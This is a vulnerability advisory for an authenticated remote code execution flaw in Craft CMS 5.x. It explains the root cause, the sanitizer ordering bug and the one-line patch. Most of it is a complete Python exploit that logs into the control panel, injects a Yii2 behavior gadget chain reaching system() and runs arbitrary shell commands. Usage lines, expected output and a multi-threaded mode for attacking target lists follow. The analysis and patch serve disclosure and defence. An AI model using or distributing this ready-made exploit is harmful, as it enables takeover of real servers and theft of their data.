#Summary

CVE-2026-86730 is a remote code execution vulnerability in Craft CMS versions 5.0.0-RC1 through 5.10.11 that allows authenticated control-panel users to execute arbitrary shell commands. The vulnerability arises from an incomplete configuration sanitizer that fails to strip Yii2 behavior-attachment keys when they are hidden inside JSON strings. This enables attackers to inject and execute a gadget chain that reaches call_user_func('system', <command>). CVSS score: 8.8 (High), CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.

#Am I affected?

#How to check

Check the installed version of Craft CMS:

grep -i "version" config/app.php | grep -i craft
# or
php craft version

Cross-reference against the patched version (5.10.12 or later). Any version from 5.0.0-RC1 through 5.10.11 is vulnerable.

Output Verdict
version 5.0.0 - 5.10.11 Vulnerable
version 5.10.12 or later Patched

#Fix and mitigation

#Root cause analysis

#Vulnerable code path

Craft normalizes untrusted component configurations with Component::cleanseConfig(), which is designed to strip Yii2's dangerous on <event> and as <behavior> keys. However, the implementation has a critical flaw: it only recurses into values that are already PHP arrays:

// Craft CMS 5.10.11 - src/helpers/Component.php
public static function cleanseConfig(array $config): array
{
    foreach ($config as $key => $value) {
        if (is_string($key) && (str_starts_with($key, 'on ') || str_starts_with($key, 'as '))) {
            unset($config[$key]);
            continue;
        }
        if (is_array($value)) {                       // Only arrays are cleansed recursively
            $config[$key] = static::cleanseConfig($value);
        }
    }
    return $config;
}

When FieldLayoutTab::__construct() processes a field-layout configuration, it decodes the elements value after the cleanse operation has already completed:

// Craft CMS 5.10.11 - src/models/FieldLayoutTab.php
public function __construct($config = [])
{
    if (array_key_exists('elements', $config)) {
        if (is_string($config['elements'])) {
            $config['elements'] = Json::decode($config['elements']);   // Decodes AFTER cleanse
        }
        if (!is_array($config['elements'])) {
            unset($config['elements']);
        }
    }
    parent::__construct($config);
}

Any as key hidden inside the JSON string passes through the cleanse operation untouched because it is not yet an array. When the JSON is decoded, those keys are restored and reach the parent constructor, which is Yii2's BaseObject, a configurable component that interprets as <name> keys as behavior attachments.

#How input reaches the sink

An authenticated control-panel user posts a field-layout configuration to one of several endpoints, such as /admin/actions/element-indexes/filter-hud or /admin/actions/fields/render-card-preview. The beforeAction() hook reads the posted configuration, runs Component::cleanseConfig() on it, and builds the layout using FieldLayout::createFromConfig(). That method constructs FieldLayoutTab instances, passing the configuration including the still-stringified elements value. Inside FieldLayoutTab::__construct(), the string is decoded, and the buried as z key now escapes the sanitizer.

Each element in the decoded array is processed by Fields::createLayoutElement():

// Craft CMS 5.10.11 - src/services/Fields.php
public function createLayoutElement(array $config): FieldLayoutElement
{
    $type = ArrayHelper::remove($config, 'type');
    if (!$type || !is_subclass_of($type, FieldLayoutElement::class)) {
        throw new InvalidArgumentException("Invalid field layout element class: $type");
    }
    $config['class'] = $type;
    return Craft::createObject($config);          // Attacker-influenced config applied here
}

Craft::createObject() instantiates the element and applies the configuration through Yii2's Component::__set(). Any surviving as <behavior> key triggers behavior attachment:

// Yii 2.0.55 - yii\base\Component::__set()
} elseif (strncmp($name, 'as ', 3) === 0) {
    $name = trim(substr($name, 3));
    if ($value instanceof Behavior) { ... }
    elseif (isset($value['__class']) && is_subclass_of($value['__class'], Behavior::class)) {
        $this->attachBehavior($name, Yii::createObject($value));
    } elseif (!isset($value['__class']) && isset($value['class']) && is_subclass_of($value['class'], Behavior::class)) {
        $this->attachBehavior($name, Yii::createObject($value));   // Entry into nested createObject
    } ...
}

#Patch diff

The fix wraps the decoded array in Component::cleanseConfig() before it is used, closing the ordering vulnerability in a single change:

--- a/src/models/FieldLayoutTab.php   (5.10.11)
+++ b/src/models/FieldLayoutTab.php   (5.10.12)
@@
 use craft\helpers\ArrayHelper;
+use craft\helpers\Component;
 use craft\helpers\Cp;
 use craft\helpers\Html;
 use craft\helpers\Json;
@@ public function __construct($config = [])
         if (array_key_exists('elements', $config)) {
             if (is_string($config['elements'])) {
-                $config['elements'] = Json::decode($config['elements']);
+                $config['elements'] = Component::cleanseConfig(Json::decode($config['elements']));
             }
             if (!is_array($config['elements'])) {
                 unset($config['elements']);
             }

#What the fix does

By cleansing the decoded array while it is still an array, all as and on keys are properly stripped before the element is constructed. The vulnerable window - where a decoded array contains unsanitized keys - is eliminated. The sanitizer itself (Component::cleanseConfig()) remains unchanged; the bug was purely the ordering of decode vs. cleanse at this single call site.

#Proof of concept

#exploit.py - Craft CMS Behavior Injection RCE PoC

#!/usr/bin/env python3
"""
CVE-2026-86730 - Craft CMS authenticated RCE via field-layout behavior injection
Affected: Craft CMS 5.0.0-RC1 <= version < 5.10.12
Type: RCE (Yii2 behavior/event-handler injection -> arbitrary object instantiation)

A field-layout tab accepts its `elements` value as a JSON-encoded string. Craft's
config sanitizer only recurses into values that are already PHP arrays, so the
string is copied through untouched and decoded afterwards, resurrecting Yii2's
`as <behavior>` configuration keys. Attaching a slug behavior whose uniqueness
validator is a filter validator turns that into a call to a shell function.

Requires any authenticated control-panel account. No admin rights, no pre-existing
custom field, and no knowledge of the target's sections or field UUIDs are needed.

Usage:
  python exploit.py --host <target> --login <user> --password <pass>
  python exploit.py --host 192.168.1.10 --port 8080 --login editor --password hunter2
  python exploit.py --host https://cms.example.com --login editor --password hunter2 --command "uname -a"
  python exploit.py --host https://cms.example.com/panel --cp-path /panel --login editor --password hunter2
  python exploit.py --list targets.txt --workers 20 --login editor --password hunter2
"""

import argparse
import http.cookiejar
import json
import re
import secrets
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
import uuid

CVE_ID = "CVE-2026-86730"
VULN_TYPE = "RCE"

DEFAULT_PORT = 80
DEFAULT_CP_PATH = "/admin"
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0 Safari/537.36"

# Sinks that build a field layout from a posted config, most useful first.
# The low-privilege one runs the layout through the vulnerable constructor in
# beforeAction(), i.e. before the action's own required parameters are checked.
SINK_INDEXES = "element-indexes/filter-hud"
SINK_CARD = "fields/render-card-preview"


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------
# HTTP plumbing (standard library only)
# --------------------------------------------------------------------------

def _opener():
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    op = urllib.request.build_opener(
        urllib.request.HTTPCookieProcessor(http.cookiejar.CookieJar()),
        urllib.request.HTTPSHandler(context=ctx),
    )
    op.addheaders = [("User-Agent", UA)]
    return op


def _base_url(host: str, port: int, use_tls: bool) -> str:
    scheme = "https" if use_tls else "http"
    if (use_tls and port == 443) or (not use_tls and port == 80):
        return f"{scheme}://{host}"
    return f"{scheme}://{host}:{port}"


def _get(op, url: str, timeout: int) -> tuple:
    req = urllib.request.Request(url)
    try:
        with op.open(req, timeout=timeout) as r:
            return r.status, r.read().decode("utf-8", "replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode("utf-8", "replace")


def _post(op, url: str, data: dict, timeout: int) -> tuple:
    body = urllib.parse.urlencode(data).encode()
    req = urllib.request.Request(url, data=body)
    req.add_header("Content-Type", "application/x-www-form-urlencoded")
    req.add_header("Accept", "application/json")
    req.add_header("X-Requested-With", "XMLHttpRequest")
    try:
        with op.open(req, timeout=timeout) as r:
            return r.status, r.read().decode("utf-8", "replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode("utf-8", "replace")


# --------------------------------------------------------------------------
# Payload construction
# --------------------------------------------------------------------------

def _flatten(prefix: str, obj, out: dict) -> dict:
    """Encode a nested structure as PHP-style bracketed form fields."""
    if isinstance(obj, dict):
        for k, v in obj.items():
            _flatten(f"{prefix}[{k}]", v, out)
    elif isinstance(obj, list):
        for i, v in enumerate(obj):
            _flatten(f"{prefix}[{i}]", v, out)
    elif obj is None:
        out[prefix] = ""
    elif isinstance(obj, bool):
        out[prefix] = "1" if obj else "0"
    else:
        out[prefix] = str(obj)
    return out


def _layout_config(command: str, marker: str) -> dict:
    """
    Build the field-layout config carrying the injected behavior.

    The tab's `elements` value is a JSON *string*. That is the whole bug: the
    sanitizer only walks values that are already arrays, so the string is left
    alone and decoded afterwards with the `as ` key still in it.

    The behavior is bound to the model's own init event, which the layout
    element fires from its constructor, so the command runs while the config is
    being parsed. Nothing has to be rendered or validated afterwards.
    """
    wrapped = f"echo {marker}; ( {command} ) 2>&1; echo {marker}"

    element = {
        "type": "craft\\fieldlayoutelements\\Heading",
        "uid": str(uuid.uuid4()),
        "as z": {
            "class": "yii\\behaviors\\SluggableBehavior",
            "attributes": {"init": "heading"},
            "attribute": None,
            "slugAttribute": "heading",
            "value": wrapped,
            "immutable": False,
            "ensureUnique": True,
            "uniqueValidator": {
                "class": "yii\\validators\\FilterValidator",
                "filter": "system",
            },
        },
    }

    return {
        "type": "craft\\elements\\Entry",
        "uid": str(uuid.uuid4()),
        "tabs": [{
            "name": "t",
            "uid": str(uuid.uuid4()),
            "elements": json.dumps([element]),
        }],
    }


def _extract(body: str, marker: str) -> str | None:
    """Pull the command output back out from between the two markers."""
    parts = body.split(marker)
    if len(parts) < 3:
        return None
    return parts[1].strip()


# --------------------------------------------------------------------------
# Core exploitation
# --------------------------------------------------------------------------

def _csrf(op, base: str, cp_path: str, timeout: int) -> str | None:
    _, html = _get(op, f"{base}{cp_path}/login", timeout)
    for pat in (r'"csrfTokenValue"\s*:\s*"([^"]+)"',
                r'csrfTokenValue:\s*"([^"]+)"',
                r'name="CRAFT_CSRF_TOKEN"\s+value="([^"]+)"'):
        m = re.search(pat, html)
        if m:
            return m.group(1)
    return None


def _authenticate(op, base: str, cp_path: str, login: str, password: str, timeout: int) -> str | None:
    """Log into the control panel. Returns the post-login CSRF token."""
    token = _csrf(op, base, cp_path, timeout)
    data = {"loginName": login, "password": password}
    if token:
        data["CRAFT_CSRF_TOKEN"] = token
    status, body = _post(op, f"{base}{cp_path}/actions/users/login", data, timeout)
    if status != 200:
        return None
    try:
        parsed = json.loads(body)
    except ValueError:
        return None
    if parsed.get("error") or not parsed.get("returnUrl"):
        return None
    return parsed.get("csrfTokenValue") or token


def _fire(op, base: str, cp_path: str, sink: str, token: str | None,
          command: str, marker: str, timeout: int) -> tuple:
    """Post the malicious layout to one sink. Returns (output_or_None, status, body)."""
    data = {}
    if token:
        data["CRAFT_CSRF_TOKEN"] = token

    if sink == SINK_INDEXES:
        data["elementType"] = "craft\\elements\\Entry"
        data["context"] = "index"
        _flatten("fieldLayouts[0]", _layout_config(command, marker), data)
    else:
        _flatten("fieldLayoutConfig", _layout_config(command, marker), data)

    status, body = _post(op, f"{base}{cp_path}/actions/{sink}", data, timeout)
    return _extract(body, marker), status, body


def _try_exploit(host: str, port: int, use_tls: bool, cp_path: str,
                 login: str, password: str, command: str, timeout: int = 20) -> tuple:
    """Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
    try:
        base = _base_url(host, port, use_tls)
        op = _opener()
        token = _authenticate(op, base, cp_path, login, password, timeout)
        if token is None:
            return False, "control-panel login failed"
        for sink in (SINK_INDEXES, SINK_CARD):
            output, _, _ = _fire(op, base, cp_path, sink, token, command, secrets.token_hex(8), timeout)
            if output is not None:
                first = output.splitlines()[0].strip() if output.strip() else "(no stdout)"
                return True, f"command executed - {first[:80]}"
        return False, "config sanitized - no execution (patched)"
    except Exception as e:
        return False, f"unreachable ({e.__class__.__name__})"


# --------------------------------------------------------------------------
# Target parsing / scan mode
# --------------------------------------------------------------------------

def _parse_target(line: str, default_port: int, default_path: str = "/") -> tuple | None:
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urllib.parse.urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int,
         cp_path: str, login: str, password: str, command: str) -> None:
    """Batch scan from file."""
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port, cp_path) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}"
        ok, evidence = _try_exploit(host, port, use_tls, path, login, password, command)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------

def exploit(host: str, port: int, use_tls: bool, cp_path: str,
            login: str, password: str, command: str, timeout: int) -> None:
    header(host, port)
    base = _base_url(host, port, use_tls)
    op = _opener()

    step(1, f"Authenticating to the control panel at {cp_path} as '{login}'...")
    token = _authenticate(op, base, cp_path, login, password, timeout)
    if token is None:
        section("LOGIN", f"No session established at {base}{cp_path}/actions/users/login")
        done(False, f"Control-panel login failed for '{login}' - credentials or panel path wrong")
    print(f"         Session established (CSRF token acquired)")

    step(2, "Building field-layout config with `elements` as a JSON string")
    print(f"         Injected key: \"as z\" -> yii\\behaviors\\SluggableBehavior")
    print(f"         Gadget: SluggableBehavior -> FilterValidator{{filter: system}}")
    print(f"         Bound to the layout element's own init event")

    last_status, last_body = None, ""
    for n, sink in enumerate((SINK_INDEXES, SINK_CARD), start=3):
        step(n, f"Posting the layout to {sink}")
        marker = secrets.token_hex(8)
        output, status, body = _fire(op, base, cp_path, sink, token, command, marker, timeout)
        last_status, last_body = status, body
        if output is not None:
            section("COMMAND OUTPUT", output if output.strip() else "(command produced no stdout)")
            first = output.splitlines()[0].strip() if output.strip() else "(no stdout)"
            done(True, f"RCE confirmed - command '{command}' output: {first}")
        print(f"         No execution via this sink (HTTP {status})")

    section("SERVER RESPONSE", last_body[:1200])
    done(False, f"Payload accepted (HTTP {last_status}) but no command output returned - target is patched")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/panel)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT, help=f"Default port (default: {DEFAULT_PORT})")
    parser.add_argument("--command", default="id", help="Command to execute (default: id)")
    parser.add_argument("--login", required=True, help="Control-panel username or email (any non-admin account works)")
    parser.add_argument("--password", required=True, help="Control-panel password")
    parser.add_argument("--cp-path", default=DEFAULT_CP_PATH,
                        help=f"Control-panel trigger path (default: {DEFAULT_CP_PATH})")
    parser.add_argument("--timeout", type=int, default=20, help="Per-request timeout in seconds (default: 20)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, cp_path=args.cp_path,
             login=args.login, password=args.password, command=args.command)
    else:
        parsed = _parse_target(args.host, args.port, args.cp_path)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, args.cp_path)
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        cp_path = args.cp_path if args.cp_path != DEFAULT_CP_PATH else path
        cp_path = "/" + cp_path.strip("/") if cp_path.strip("/") else DEFAULT_CP_PATH
        exploit(host, port, use_tls, cp_path, args.login, args.password, args.command, args.timeout)

#Usage

# Basic exploit against a single target on port 8080, plaintext
python exploit.py --host 192.168.1.10 --port 8080 --no-tls --login editor --password hunter2

# Full HTTPS URL
python exploit.py --host https://cms.example.com --login editor --password hunter2

# Custom shell command
python exploit.py --host https://cms.example.com --login editor --password hunter2 --command "whoami"

# Non-default control-panel path
python exploit.py --host https://cms.example.com/panel --cp-path /panel --login editor --password hunter2

# Batch scan from file
python exploit.py --list targets.txt --workers 20 --login editor --password hunter2

Arguments:

Expected output - vulnerable target:

============================================================
  ALIM EXPLOIT  CVE-2026-86730
  Type: RCE  |  Target: 127.0.0.1:8710
============================================================

[STEP 1] Authenticating to the control panel at /admin as 'editor'...
         Session established (CSRF token acquired)
[STEP 2] Building field-layout config with `elements` as a JSON string
         Injected key: "as z" -> yii\behaviors\SluggableBehavior
         Gadget: SluggableBehavior -> FilterValidator{filter: system}
         Bound to the layout element's own init event
[STEP 3] Posting the layout to element-indexes/filter-hud

--- COMMAND OUTPUT ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: RCE confirmed - command 'id' output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================

Expected output - patched target:

[STEP 3] Posting the layout to element-indexes/filter-hud
         No execution via this sink (HTTP 400)
[STEP 4] Posting the layout to fields/render-card-preview
         No execution via this sink (HTTP 403)

--- SERVER RESPONSE ---
{"name":"Forbidden","message":"User is not permitted...
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: Payload accepted (HTTP 403) but no command output returned - target is patched
============================================================

#Exploitation notes

#Preconditions

#Reliability

The exploit is highly reliable. Execution happens during the element construction phase (init event), which is triggered when the malicious layout is parsed. No subsequent render or validation step is required. The gadget chain (Yii2 behavior attachment - SluggableBehavior - FilterValidator - system()) is stable across the vulnerable version range.

#Impact

Remote code execution as the web server user (typically www-data on Linux). The attacker can execute arbitrary shell commands, read files, modify content, exfiltrate data, or pivot to other systems. Escalation to system admin is possible if the web server has elevated privileges.

#Chaining potential

This is a complete, single-step RCE. There is no memory-corruption ladder. Command execution is immediate and does not require chaining with other bugs. However, once code execution is achieved, the attacker can use standard privilege escalation techniques to gain system or database-level access.

#References